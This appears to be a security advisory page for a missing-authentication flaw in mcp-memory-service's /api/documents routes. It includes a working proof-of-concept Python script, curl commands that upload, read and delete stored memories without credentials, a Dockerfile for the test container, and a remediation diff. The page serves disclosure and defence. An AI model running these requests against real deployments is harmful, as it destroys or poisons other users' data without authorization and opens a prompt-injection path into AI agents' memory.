mcp-memory-service CVE-2026-50027
CRITICALSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Routes are network-reachable with zero auth or interaction (AV:N/AC:L/PR:N/UI:N); unauthenticated read, arbitrary write, and permanent delete yield full C:H/I:H/A:H within the same component (S:U).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionGitHub Advisory
Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete
Summary
All HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) - all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.
Details
The documents.py router is instantiated without any router-level dependencies= parameter and the file does not import Depends at all, so no authentication guard is present on any of its routes:
src/mcp_memory_service/web/api/documents.py:33-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks(Dependsis absent)src/mcp_memory_service/web/api/documents.py:43-router = APIRouter()(nodependencies=argument)
The affected endpoints and their data-flow sinks are:
| Route | Line (source) | Sink | Line (sink) |
|---|---|---|---|
POST /upload | 149 | storage.store(memory) | 449 |
POST /batch-upload | - | storage.store(memory) | - |
GET /history | - | upload metadata response | - |
GET /search-content/{upload_id} | 729 | memory content response | 781 |
DELETE /remove/{upload_id} | - | storage deletion | - |
DELETE /remove-by-tags | 687 | storage.delete_by_tags(tags) | 705 |
The router is mounted in src/mcp_memory_service/web/app.py:311:
app.include_router(documents_router, prefix="/api/documents")No CORSMiddleware or authentication middleware applies to these routes at mount time.
By contrast, the equivalent write endpoint in memories.py is correctly protected:
# src/mcp_memory_service/web/api/memories.py:136
user: AuthenticationResult = Depends(require_write_access)This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all documents.py routes.
PoC
Prerequisites
- Docker installed
- Repository cloned at
repo
Build and run the container
docker build -t vuln-001-mcp-memory-poc \
-f vuln-001/Dockerfile \
repo
docker run -d --name vuln-001-poc-container \
-p 18000:8000 vuln-001-mcp-memory-poc:latestThe container starts mcp-memory-service with MCP_API_KEY=poc-secret-key-12345, simulating a production deployment where the operator has enabled API-key authentication.
Execute the PoC
python3 vuln-001/poc.py \
--host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345Attack chain (6 steps)
[STEP 1] GET /api/memories (no auth) → HTTP 401 ← auth guard is active on memories API
[STEP 2] POST /api/memories (with API key) → HTTP 200 ← legitimate user stores sensitive data
[STEP 3] GET /api/memories (with API key) → HTTP 200 memories_found=1 ← data confirmed
[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200 upload_id=<uuid> ← WRITE bypass
[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200 memories_deleted=1 ← DELETE bypass
[STEP 6] GET /api/memories (with API key) → HTTP 200 memories_remaining=0 ← integrity impact confirmedStep 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.
Manual curl equivalent
# Confirm auth guard is active on /api/memories
curl -i http://127.0.0.1:18000/api/memories
# → 401 Unauthorized
# Write through document API - no credentials
printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt
UPLOAD_ID=$(
curl -s -X POST http://127.0.0.1:18000/api/documents/upload \
-F "file=@/tmp/poc.txt" -F "tags=cve-poc" |
python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])'
)
# → 200 OK
sleep 3
curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID"
# → content returned without authentication
# Delete by tag - no credentials
curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \
-H "Content-Type: application/json" -d '["cve-poc"]'
# → 200 OK, memories_deleted=1Observed output
GET /api/memories(no auth) returns401- the authentication guard is demonstrably active on the memories API.POST /api/documents/upload(no auth) returns200with a validupload_id.DELETE /api/documents/remove-by-tags(no auth) returns200withmemories_deleted=1.- A subsequent authenticated
GET /api/memoriesreturnsmemories_remaining=0, confirming that legitimately stored data was destroyed by an unauthenticated request.
Remediation
Add Depends(require_write_access) / Depends(require_read_access) to every affected route in documents.py:
--- a/src/mcp_memory_service/web/api/documents.py
+++ b/src/mcp_memory_service/web/api/documents.py
-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks
+from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends
from ..dependencies import get_storage
+from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult
async def upload_document(
background_tasks: BackgroundTasks,
file: UploadFile = File(...),
+ user: AuthenticationResult = Depends(require_write_access),
async def batch_upload_documents(
background_tasks: BackgroundTasks,
files: List[UploadFile] = File(...),
+ user: AuthenticationResult = Depends(require_write_access),
-async def get_upload_status(upload_id: str):
+async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)):
-async def get_upload_history():
+async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)):
-async def remove_document(upload_id: str, remove_from_memory: bool = True):
+async def remove_document(upload_id: str, remove_from_memory: bool = True,
+ user: AuthenticationResult = Depends(require_write_access)):
-async def remove_documents_by_tags(tags: List[str]):
+async def remove_documents_by_tags(tags: List[str],
+ user: AuthenticationResult = Depends(require_write_access)):
-async def search_document_content(upload_id: str, limit: int = 1000):
+async def search_document_content(upload_id: str, limit: int = 1000,
+ user: AuthenticationResult = Depends(require_read_access)):Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability affecting the HTTP REST server component of mcp-memory-service.
Who is impacted: Any operator who deploys the HTTP REST server (memory server --http) with MCP_API_KEY or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments.
Confidentiality: An unauthenticated attacker can read recently uploaded document content via GET /api/documents/search-content/{upload_id} and enumerate upload history via GET /api/documents/history. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data.
Integrity: An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent's knowledge base with attacker-controlled data (memory poisoning / prompt injection surface).
Availability: An unauthenticated attacker can delete all memories matching any chosen tags via DELETE /api/documents/remove-by-tags, or delete individual documents via DELETE /api/documents/remove/{upload_id}, causing permanent loss of stored data.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1
ENV HF_HOME=/root/.cache/huggingface
WORKDIR /app
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI
RUN pip install --no-cache-dir \
"torch>=2.0.0" \
--index-url https://download.pytorch.org/whl/cpu
# Copy and install the mcp-memory-service from the local repo
COPY . /app
RUN pip install --no-cache-dir -e .
# Pre-download the sentence-transformers embedding model so the container
# can run fully offline and starts quickly
RUN python -c "from sentence_transformers import SentenceTransformer; m = SentenceTransformer('all-MiniLM-L6-v2'); v = m.encode(['preflight']); print('Embedding model ready, dim=' + str(len(v[0])))"
# ── Runtime config ──────────────────────────────────────────────────────────
# MCP_API_KEY is set to simulate a production deployment where the operator
# has enabled API-key authentication. The bug is that /api/documents/* routes
# ignore this key entirely.
ENV MCP_API_KEY=poc-secret-key-12345
ENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec
ENV MCP_HTTP_PORT=8000
ENV MCP_HTTP_HOST=0.0.0.0
ENV MCP_MDNS_ENABLED=false
ENV MCP_CONSOLIDATION_ENABLED=false
ENV MCP_BACKUP_ENABLED=false
ENV MCP_QUALITY_SYSTEM_ENABLED=false
# Prevent any outbound HuggingFace requests at runtime
ENV TRANSFORMERS_OFFLINE=1
ENV HF_DATASETS_OFFLINE=1
EXPOSE 8000
CMD ["python", "run_server.py"]poc.py
#!/usr/bin/env python3
"""
PoC - VULN-001: Missing Authentication on Document API Endpoints
CWE-306 Missing Authentication for Critical Function
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Attack chain:
1. GET /api/memories (no auth) → 401 (auth guard confirmed active)
2. POST /api/memories (with API key) → 200 (legitimate write)
3. GET /api/memories (with API key) → 200 (data exists)
4. POST /api/documents/upload (NO auth!) → 200 (write bypass)
5. DELETE /api/documents/remove-by-tags (NO auth!) → 200 (delete bypass)
6. GET /api/memories (with API key) → memory is GONE
Step 6 proves an unauthenticated attacker destroyed data created by a
legitimate, authenticated user - confirming full integrity impact.
Usage:
python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345]
"""
import sys
import time
import json
import uuid
import argparse
import http.client
MARKER = "VULN001_AUTH_BYPASS_" + uuid.uuid4().hex[:12].upper()
TARGET_TAG = f"vuln001-target-{uuid.uuid4().hex[:6]}"
# ─── low-level helpers ───────────────────────────────────────────────────────
def http_req(host, port, method, path, body=None, headers=None, timeout=20):
conn = http.client.HTTPConnection(host, port, timeout=timeout)
h = dict(headers or {})
conn.request(method, path, body=body, headers=h)
resp = conn.getresponse()
return resp.status, resp.read().decode("utf-8", errors="replace")
def wait_ready(host, port, timeout=120):
print(f"[*] Waiting for server at {host}:{port} …", flush=True)
deadline = time.time() + timeout
while time.time() < deadline:
try:
s, _ = http_req(host, port, "GET", "/api/health", timeout=2)
if s == 200:
print("[+] Server ready\n", flush=True)
return True
except Exception:
pass
time.sleep(1)
return False
def build_multipart(boundary, filename, file_bytes, tags_str):
b = boundary.encode()
return b"".join([
b"--" + b + b"\r\n",
b'Content-Disposition: form-data; name="file"; filename="' + filename.encode() + b'"\r\n',
b"Content-Type: /plain\r\n\r\n",
file_bytes,
b"\r\n--" + b + b"\r\n",
b'Content-Disposition: form-data; name="tags"\r\n\r\n',
tags_str.encode(),
b"\r\n--" + b + b"--\r\n",
])
# ─── individual test steps ───────────────────────────────────────────────────
def step_memories_no_auth(host, port):
"""GET /api/memories without auth must return 401."""
print("[STEP 1] GET /api/memories (no auth - expect 401)", flush=True)
status, body = http_req(host, port, "GET", "/api/memories")
ok = (status == 401)
print(f" {'PASS' if ok else 'FAIL'} HTTP {status}", flush=True)
return ok, status
def step_store_memory_with_auth(host, port, api_key):
"""POST /api/memories with API key - store a 'legitimate' memory."""
print(f"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})", flush=True)
payload = json.dumps({
"content": f"Sensitive memory - {MARKER}",
"tags": [TARGET_TAG, "vuln001-demo"],
"memory_type": "observation",
"metadata": {"poc": "VULN-001"}
}).encode()
headers = {
"Content-Type": "application/json",
"Content-Length": str(len(payload)),
"X-API-Key": api_key,
}
status, body = http_req(host, port, "POST", "/api/memories", payload, headers)
ok = status in (200, 201)
content_hash = None
try:
content_hash = json.loads(body).get("content_hash")
except Exception:
pass
print(f" {'PASS' if ok else 'FAIL'} HTTP {status} hash={content_hash}", flush=True)
if not ok:
print(f" body: {body[:300]}", flush=True)
return ok, status, content_hash
def step_verify_memory_exists(host, port, api_key):
"""GET /api/memories with auth - confirm the memory is stored."""
print("[STEP 3] GET /api/memories (with API key - confirm data exists)", flush=True)
headers = {"X-API-Key": api_key}
status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
ok = status == 200
count = 0
try:
data = json.loads(body)
count = data.get("total", len(data.get("memories", [])))
except Exception:
pass
print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_found={count}", flush=True)
return ok, status, count
def step_upload_no_auth(host, port):
"""POST /api/documents/upload without any credentials - should return 200."""
print("[STEP 4] POST /api/documents/upload (NO auth - expect 200)", flush=True)
boundary = "PocBoundary" + uuid.uuid4().hex
payload = f"EVIDENCE: {MARKER}\nUploaded without authentication - VULN-001.\n".encode()
body = build_multipart(boundary, "poc_vuln001.txt", payload, "poc-evidence,vuln001-demo")
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Content-Length": str(len(body)),
}
status, resp = http_req(host, port, "POST", "/api/documents/upload", body, headers)
upload_id = None
try:
upload_id = json.loads(resp).get("upload_id")
except Exception:
pass
ok = status == 200 and upload_id is not None
print(f" {'PASS' if ok else 'FAIL'} HTTP {status} upload_id={upload_id}", flush=True)
if not ok:
print(f" body: {resp[:300]}", flush=True)
return ok, status, upload_id
def step_delete_no_auth(host, port):
"""DELETE /api/documents/remove-by-tags without auth - should return 200."""
print(f"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})", flush=True)
# FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array)
body = json.dumps([TARGET_TAG, "vuln001-demo"]).encode()
headers = {
"Content-Type": "application/json",
"Content-Length": str(len(body)),
}
status, resp = http_req(
host, port, "DELETE", "/api/documents/remove-by-tags",
body=body, headers=headers
)
ok = status == 200
deleted = 0
try:
deleted = json.loads(resp).get("memories_deleted", 0)
except Exception:
pass
print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_deleted={deleted}", flush=True)
if not ok:
print(f" body: {resp[:300]}", flush=True)
return ok, status, deleted
def step_verify_memory_gone(host, port, api_key):
"""GET /api/memories with auth - confirm attacker wiped the data."""
print("[STEP 6] GET /api/memories (with API key - verify data was deleted)", flush=True)
headers = {"X-API-Key": api_key}
status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
ok = status == 200
count = 0
try:
data = json.loads(body)
count = data.get("total", len(data.get("memories", [])))
except Exception:
pass
data_deleted = (ok and count == 0)
print(f" {'PASS' if data_deleted else 'NOTE'} HTTP {status} memories_remaining={count}", flush=True)
if data_deleted:
print(" [+] Memory wiped by unauthenticated attacker - integrity impact confirmed!", flush=True)
return ok, status, count
# ─── main ────────────────────────────────────────────────────────────────────
def main():
ap = argparse.ArgumentParser(description="VULN-001 PoC - CWE-306 auth bypass")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=8000)
ap.add_argument("--api-key", default="poc-secret-key-12345",
help="API key configured on the server (simulates legitimate user)")
args = ap.parse_args()
print("=" * 65)
print("VULN-001 Missing Authentication on Document API Endpoints")
print("CWE-306 / CVSS 9.8 (Critical)")
print("=" * 65 + "\n")
if not wait_ready(args.host, args.port):
print("[-] Server did not become ready", flush=True)
sys.exit(2)
r = {}
# Step 1 - baseline: auth IS enforced on /api/memories
ok1, s1 = step_memories_no_auth(args.host, args.port)
r["step1_auth_guard_active"] = {
"pass": ok1,
"evidence": f"GET /api/memories (no auth) → HTTP {s1}"
}
# Step 2 - legitimate user stores a sensitive memory
ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key)
r["step2_legitimate_write"] = {
"pass": ok2,
"evidence": f"POST /api/memories (with API key) → HTTP {s2}"
}
# Step 3 - confirm memory exists
ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key)
r["step3_data_present"] = {
"pass": ok3 and mem_count > 0,
"evidence": f"GET /api/memories (with API key) → HTTP {s3}, count={mem_count}"
}
# Step 4 - attacker uploads without auth (WRITE bypass)
ok4, s4, upload_id = step_upload_no_auth(args.host, args.port)
r["step4_upload_auth_bypass"] = {
"pass": ok4,
"evidence": f"POST /api/documents/upload (NO auth) → HTTP {s4}"
}
# Step 5 - attacker deletes WITHOUT auth (DELETE bypass)
ok5, s5, deleted = step_delete_no_auth(args.host, args.port)
r["step5_delete_auth_bypass"] = {
"pass": ok5,
"evidence": f"DELETE /api/documents/remove-by-tags (NO auth) → HTTP {s5}, deleted={deleted}"
}
# Step 6 - verify legitimate data is gone
ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key)
r["step6_integrity_impact"] = {
"pass": ok6 and remaining == 0,
"evidence": f"GET /api/memories (with API key) after attack → count={remaining} (was {mem_count})"
}
print("\n" + "=" * 65)
print("RESULTS SUMMARY")
print("=" * 65)
for k, v in r.items():
sym = "PASS" if v["pass"] else "FAIL"
print(f" [{sym}] {v['evidence']}", flush=True)
# Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth
bypass_proven = ok1 and ok4
delete_bypass = ok1 and ok5
print("\nKey evidence:")
print(f" Auth guard ACTIVE : GET /api/memories (no auth) → HTTP {s1}")
print(f" Write BYPASS : POST /api/documents/upload (no auth) → HTTP {s4}")
print(f" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) → HTTP {s5}")
overall = "PASS - auth bypass confirmed" if (bypass_proven or delete_bypass) else "FAIL"
print(f"\nVerdict: {overall}")
print("=" * 65)
sys.exit(0 if (bypass_proven or delete_bypass) else 1)
if __name__ == "__main__":
main()Articles & Coverage 1
AnalysisAI
Missing authentication in mcp-memory-service's HTTP REST server exposes every route under /api/documents/* without any credential check, even when the operator has enabled MCP_API_KEY or OAuth, so remote attackers can upload, read, and delete stored memories at will. Because the sibling /api/memories router correctly enforces auth (returning 401), the gap is an inconsistent, easily-discovered authentication boundary that grants full confidentiality, integrity, and availability impact. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the operator has deployed the mcp-memory-service HTTP REST server ('memory server --http') and made its port network-reachable to the attacker; no credentials, tokens, or user interaction are needed because the /api/documents/* routes carry no authentication dependency at all. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical) is well-supported by the evidence: the endpoints are network-reachable, require no authentication or user interaction, and the PoC demonstrates read, write, and delete against a server that was explicitly configured with an API key. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who can reach the mcp-memory-service HTTP port sends an unauthenticated DELETE to /api/documents/remove-by-tags with a chosen tag and permanently wipes a legitimate user's stored memories, or POSTs a crafted file to /api/documents/upload to inject attacker-controlled content (memory poisoning / prompt-injection surface) into the AI agent's knowledge base. They can also GET /api/documents/search-content/{upload_id} and /api/documents/history to read sensitive stored context, all with no credentials. … |
| Remediation | The definitive fix is a code-level change adding FastAPI authentication guards to every route in documents.py: import Depends plus require_read_access / require_write_access / AuthenticationResult, then attach Depends(require_write_access) to the upload, batch-upload, remove, and remove-by-tags handlers and Depends(require_read_access) to the status, history, and search-content handlers (matching the diff in the advisory). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Restrict mcp-memory-service to internal-only network access; audit and document all deployments handling sensitive data; review authentication logs for unauthorized /api/documents/ API calls since deployment. …
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External POC / Exploit Code
Leaving vuln.today
GHSA-84hp-mqvj-3p8h